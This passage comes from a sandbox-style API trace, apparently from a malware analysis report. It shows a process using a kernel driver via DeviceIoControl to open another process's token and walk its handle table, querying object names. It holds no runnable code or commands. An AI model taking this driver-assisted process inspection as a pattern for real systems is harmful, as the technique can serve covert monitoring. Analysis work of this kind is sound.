dwProcessId=0x4c4) returned 0xc0 [0072.010] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.010] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0072.010] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.010] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xbb [0072.010] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.010] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.010] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.010] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.010] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.016] CloseHandle (hObject=0xc8) returned 1 [0072.016] CloseHandle (hObject=0xc0) returned 1 [0072.016] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.016] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.016] PsAcquireProcessExitSynchronization () returned 0x0 [0072.016] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.016] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0072.016] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.016] PsReleaseProcessExitSynchronization () returned 0x2 [0072.016] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.016] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.016] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0072.016] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.016] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.016] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.016] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.016] PsAcquireProcessExitSynchronization () returned 0x0 [0072.016] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.016] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0072.016] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.016] PsReleaseProcessExitSynchronization () returned 0x2 [0072.017] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.017] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039c8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.017] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0072.017] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.017] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.017] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0072.017] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.017] PsAcquireProcessExitSynchronization () returned 0x0 [0072.017] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.017] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0072.017] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.017] PsReleaseProcessExitSynchronization () returned 0x2 [0072.017] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.017] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.017] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0072.017] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.017] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.017] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0072.017] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.017] PsAcquireProcessExitSynchronization () returned 0x0 [0072.017] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.017] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0072.017] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.017] PsReleaseProcessExitSynchronization () returned 0x2 [0072.017] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.017] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa80038fd7c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038fd7c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.017] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0072.017] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.017] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.017] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0072.018] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.018] PsAcquireProcessExitSynchronization () returned 0x0 [0072.018] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.018] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0072.018] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.018] PsReleaseProcessExitSynchronization () returned 0x2 [0072.018] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.018] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.018] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0072.018] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.018] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.018] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0072.018] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.018] PsAcquireProcessExitSynchronization () returned 0x0 [0072.018] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.018] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0072.018] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.018] PsReleaseProcessExitSynchronization () returned 0x2 [0072.018] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.018] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa80039c4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.018] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0072.018] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.018] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.018] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.018] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.018] PsAcquireProcessExitSynchronization () returned 0x0 [0072.018] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.018] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0072.018] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.019] PsReleaseProcessExitSynchronization () returned 0x2 [0072.019] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.019] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa80039bb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.019] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0072.019] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.019] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.019] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.019] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.019] PsAcquireProcessExitSynchronization () returned 0x0 [0072.019] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.019] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0072.019] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.019] PsReleaseProcessExitSynchronization () returned 0x2 [0072.019] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.019] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.019] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0072.019] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.019] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.019] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0072.019] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.019] PsAcquireProcessExitSynchronization () returned 0x0 [0072.019] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.019] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0072.019] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.019] PsReleaseProcessExitSynchronization () returned 0x2 [0072.019] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.019] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa800396a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.019] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0072.019] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.020] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.020] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0072.020] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.020] PsAcquireProcessExitSynchronization () returned 0x0 [0072.020] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.020] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0072.020] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.020] PsReleaseProcessExitSynchronization () returned 0x2 [0072.020] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.020] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa80039c9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.020] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0072.020] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.020] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.020] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0072.020] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.020] PsAcquireProcessExitSynchronization () returned 0x0 [0072.020] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.020] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0072.020] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.020] PsReleaseProcessExitSynchronization () returned 0x2 [0072.020] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.020] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa80039ca044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039ca044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.020] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0072.020] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.020] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.020] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.021] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.021] PsAcquireProcessExitSynchronization () returned 0x0 [0072.021] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.021] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.021] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.021] PsReleaseProcessExitSynchronization () returned 0x2 [0072.021] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.021] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.021] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.021] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.021] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.021] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.021] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.021] PsAcquireProcessExitSynchronization () returned 0x0 [0072.021] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.021] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.021] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.021] PsReleaseProcessExitSynchronization () returned 0x2 [0072.021] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.021] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039cc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039cc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.021] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.021] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.021] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.021] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0072.021] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.021] PsAcquireProcessExitSynchronization () returned 0x0 [0072.021] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054f85d0) [0072.021] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0072.021] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.022] PsReleaseProcessExitSynchronization () returned 0x2 [0072.022] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb9 [0072.022] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80039cd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039cd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.022] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0072.022] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.022] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0072.022] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0072.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 